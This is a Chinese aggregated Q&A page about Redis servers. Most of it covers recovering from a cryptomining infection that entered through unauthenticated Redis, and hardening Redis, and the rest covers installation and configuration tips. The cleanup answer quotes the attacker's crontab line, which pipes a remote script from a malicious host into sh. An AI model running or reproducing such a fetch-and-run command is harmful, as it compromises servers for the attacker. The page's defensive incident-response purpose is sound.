服务器redis被挖矿
① 阿里云服务器被挖矿了怎么办(纯纯电脑小白
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:
View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blog.jobbole.com/94518/然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
② 查看服务器上有没有redis的命令
可以根据进程名
ps -ef | grep redis-server
或者根据端口来
netstat -ano | grep 6379
③ 如何用Linux服务器挖矿教程
今天早上起来一看,服务器脚本一个都没有启动!甚是奇怪,远程登录服务器,也是异常的卡,直到最后卡死,只好重新启动服务器!
启动之后没一会又会变卡,越来越卡,top查看进程!不觉又奇怪的进程,因为平常也不经常看!所以自己也搞不明白怎么回事儿!只好到群里问了问,说是被挖矿的挂了木马文件了,是由于redis的漏洞!
后来我自己发现,原来redis远程可以直接登录,原以为redis和mysql不开放登录权限就不会支持远程登录呢,看来是我想多了
看了好长时间才发现一个异常的进程,自启的进程 molibe !
找到进程位置 ps -ef|grep molibe ;
在tmp目录下,打开一看的确是有
chmod -x molibe 取消执行权限在来到/var/spool/cron下,cat root 查看定时器的执行发现之前脚本都被改了,顾不得删除cron,service crond restart 重新启动,再有就时kill 掉molibe进程
这样大概整个就结束了!但是根本是因为redis漏洞,所以还是补上吧
首先修改redis'端口,找到redis.conf文件 port **** 修改端口号再有就是必须修改密码 # requirepass ******** 去除#号重新启动 /redis/src/redis-server /redis/redis-conf
启动成功之后
redis/redis-cli -p ****(端口) -a *****(密码)
④ 如何通过一个服务器访问两一个服务器的redis
在windows系统下安装多个Redis实例。服务器装有一个Redis实例,随着项目的进行,需要安装多个实例才可以。直接安装是只会有6379端口,需要采用下面的方式来安装。本示例讲解的是:redis-2.4.6-setup-64-bit.exe 和redis-2.8.17 windows MSOpen。工具/原料
Redis安装文件
CMD命令提示符
方法/步骤
下载安装文件,选择稳定版本
点击安装exe文件,进行安装。选择好路径,一直到安装结束即可。
点击Service查看Redis服务是否正确的安装。Windows--》Service.msc。默认的端口为6379。服务已启动。
使用客户端工具进行连接,出现如下画面即成功。
使用CMD工具,安装另一个Redis实例服务,端口为6369. 需要提前建好6369端口使用的conf文件
如:C:\Users\Gray>E:\redis-2.8.17\redis-server.exe --service-install E:\redis-2.8.17\redis6369.conf --service-name RedisServer6369 --port 6369
试验了几次都没有提示成功的信息,但是查看服务成功了,而且用客户端连接也成功了。
查看6369端口的redis服务
步骤阅读
7
使用客户端连接6369 redis服务,出现如下界面表示成功
⑤ 两台服务器,一个放程序的,一个放数据库换季,redis装在哪个服务器上好
应用Redis实现数据的读写,同时利用队列处理器定时将数据写入mysql,此种情况存在的问题主要是如何保证mysql与redis的数据同步,二者数据同步的关键在于mysql数据库中
主键,方案是在redis启动时去mysql读取所有表键值存入redis中,往redis写数据时,对redis主键自增并进行读取,若mysql更新
失败,则需要及时清除缓存及同步redis主键。Stringtbname="login";//获取mysql表主键值--redis启动时
longid=MySQL.getID(tbname);//设置redis主键值--redis启动时
redisService.set(tbname,String.valueOf(id));System.out.println(id);longl=redisService.incr(tbname);
System.out.println(l);Loginlogin=newLogin();login.setId(l);
login.setName("redis");redisService.hmset(String.valueOf(login.getId()),login);booleanb=MySQL.insert("insertintologin(id,name)values("+login.getId()+",'"+login.getName()+"')");
/****队列处理器更新mysql失败:**清除缓存数据,同时主键值自减*/if(!b)
{redisService.delKeyAndDecr(tbname,"Login:"+String.valueOf(login.getId()));}System.out.println(redisService.exists("Login:"+String.valueOf(login.getId())));System.out.println(redisService.get(tbname))
⑥ 如何查看服务器上装了redis
ps -aux | grep redis-server
⑦ 一台服务器 搭建redis 集群的节点ip 为啥是127.0.0.1
所有的设备都使用127.0.0.1这个ip代表本地ip使用,不对外发布
⑧ 应用部署到服务器redis无法读取数据
redis日志找出来看看,应该会有报错信息
⑨ 如何在阿里云服务器部署Redis第一篇
首先需要进行redis安装
1.从redis官网https://redis.io/download下载redis的linux版本包;
2.通过ftp软件上传到服务器;
3.使用解压命令tar -zvxf redis-3.0.7.tar.gz进行解压;
4.cd redis-3.0.7/进入redis包,使用"make"进行编译,若没有make命令可根据提示进行make的apt install操作安装;
5.进入src文件夹并使用make install命令安装redis,使用ls可查看安装结果。
redis安装完成后还需要对redis服务进行部署
⑩ 如何检查服务器配置的redis正常链接
1、在集群内部,使用iptable允许哪些集群内部的服务器可以访问。
2、在集群外部,有时候需要通过客户端工具来管理redis,这时候需要在集群内部架设vpn,并且该vpn的服务器能够允许访问redis服务器,这样,公网上的主机可以使用该vpn,通过redis客户端管理redis。